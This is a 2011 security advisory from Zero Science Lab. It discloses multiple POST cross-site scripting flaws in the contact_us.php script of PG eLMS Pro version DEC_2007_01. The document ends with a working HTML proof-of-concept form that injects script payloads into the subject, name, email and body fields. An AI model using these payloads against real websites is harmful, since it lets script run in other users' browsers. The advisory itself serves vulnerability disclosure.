PG eLms Pro vDEC_2007_01 - 'contact_us.php' Multiple POST Cross-Site Scripting Vulnerabilities










PG eLMS Pro vDEC_2007_01 (contact_us.php) Multiple POST XSS Vulnerabilities

Vendor: PilotGroup Ltd
Product web page:
Affected version: DEC_2007_01

Summary: eLMS Pro solution is an outstanding and yet simple Learning Management
system. Our product is designed for any education formations: from small distance
training companies up to big colleges and universities. The system allows to build
courses, import SCORM content, deploy online learning, manage users, communicate
with users, track training results, and more.

Desc: Input passed via the 'subject', 'name', 'email' and 'body' parameters to
'contact_us.php' script is not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML and script code in a user's
browser session in context of an affected site.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 1.3.27 (Win32)
           PHP 5.2.4
           MySQL 14.14 Distrib 5.1.43 (Win32-ia32)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab

Advisory ID: ZSL-2011-5027
Advisory URL:



<title>PG eLMS Pro vDEC_2007_01 (contact_us.php) Multiple POST XSS Vulnerabilities</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">function xss1(){document.forms["xss"].submit();}</script>
<form action="http://localhost:6450/contact_us.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">
<input type="hidden" name="send" value="1" />
<input type="hidden" name="subject" value='"><script>alert(1)</script>' />
<input type="hidden" name="name" value='"><script>alert(2)</script>' />
<input type="hidden" name="email" value='"><script>alert(3)</script>' />
<input type="hidden" name="body" value='1&lt;/textarea&gt;"><script>alert(4)</script>' />
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><center><h3><br /><br />Exploit!<h3></center></font></b></a>